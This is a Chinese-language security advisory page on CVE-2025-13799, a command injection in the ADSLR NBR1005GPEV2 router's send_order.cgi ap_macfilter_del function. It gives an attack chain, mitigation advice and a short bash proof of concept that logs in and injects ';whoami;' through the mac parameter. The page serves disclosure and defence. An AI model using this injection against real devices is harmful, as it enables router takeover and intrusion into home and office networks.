IPBUF安全漏洞报告
English
CVE-2025-13799 CVSS 6.3 中危

CVE-2025-13799 ADSLR NBR1005GPEV2路由器send_order.cgi命令注入漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-13799
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ADSLR NBR1005GPEV2 250814-r037c

相关标签

命令注入路由器漏洞CVE-2025-13799ADSLRNBR1005GPEV2Web漏洞IoT安全send_order.cgiap_macfilter_del

漏洞概述

CVE-2025-13799是影响ADSLR NBR1005GPEV2路由器固件版本250814-r037c的命令注入漏洞。该漏洞存在于Web管理接口的send_order.cgi文件中,具体位于ap_macfilter_del函数。攻击者可以通过构造恶意的mac参数值,在受影响的设备上注入并执行任意系统命令。由于该漏洞可通过网络远程利用,且只需要低权限认证,因此对使用该设备的用户构成中等程度的安全风险。攻击者成功利用此漏洞可以获取设备的完全控制权,执行任意代码,甚至可能将设备纳入僵尸网络或用于进一步的网络攻击。该漏洞已于2025年12月1日公开披露,厂商在收到提前通知后未做出任何回应,目前尚无官方修复补丁。

技术细节

该命令注入漏洞的根本原因在于send_order.cgi脚本中的ap_macfilter_del函数对用户提交的mac参数缺乏有效的输入验证。当用户提交MAC地址过滤删除请求时,程序直接将mac参数的值传递给系统命令执行函数,而没有对特殊字符进行过滤或转义处理。攻击者可以通过在mac参数中插入分号、管道符、反引号等shell特殊字符,构造恶意Payload来执行任意系统命令。例如,使用分号可以链接多个命令,使用反引号可以执行命令替换。由于该接口需要低权限认证,攻击者可以注册普通用户账户后发起攻击。攻击成功后,攻击者可以在路由器上执行任意命令,包括读取配置文件、修改系统设置、植入后门程序等操作。

攻击链分析

STEP 1
步骤1
攻击者发现或访问ADSLR NBR1005GPEV2路由器的Web管理界面
STEP 2
步骤2
攻击者使用低权限账户登录管理后台(注册普通用户或利用已有凭证)
STEP 3
步骤3
攻击者构造恶意请求访问send_order.cgi,注入Shell命令到mac参数中
STEP 4
步骤4
设备将未经过滤的mac参数值传递给系统命令执行函数,触发命令注入
STEP 5
步骤5
攻击者成功在路由器上执行任意系统命令,获取设备完全控制权
STEP 6
步骤6
攻击者可进一步横向移动、植入后门、窃取数据或将其纳入僵尸网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-13799 PoC - ADSLR NBR1005GPEV2 Command Injection # Target: /send_order.cgi - ap_macfilter_del function TARGET="http://target-ip/cgi-bin/send_order.cgi" USERNAME="user" PASSWORD="password" # Login and get session cookie COOKIES=$(curl -s -c - -d "username=$USERNAME&password=$PASSWORD" "$TARGET" | grep -i session | awk '{print $NF}') # Command injection payload - injects whoami command via mac parameter PAYLOAD=";whoami;" # Send malicious request curl -s -b "SESSION=$COOKIES" \ -d "func=ap_macfilter_del&mac=$PAYLOAD" \ "$TARGET" echo "[*] Command executed, check response for output"

影响范围

ADSLR NBR1005GPEV2 固件版本 250814-r037c

防御指南

临时缓解措施
在厂商发布修复补丁之前,建议采取以下临时缓解措施:1) 立即禁用路由器的远程Web管理功能,改为仅允许本地局域网访问;2) 使用强密码策略保护管理账户,并定期更换密码;3) 在网络边界配置访问控制列表(ACL),限制对80/443端口的访问来源;4) 监控设备日志,关注异常的认证尝试和CGI请求;5) 考虑部署入侵检测系统(IDS)监控可疑的命令注入攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表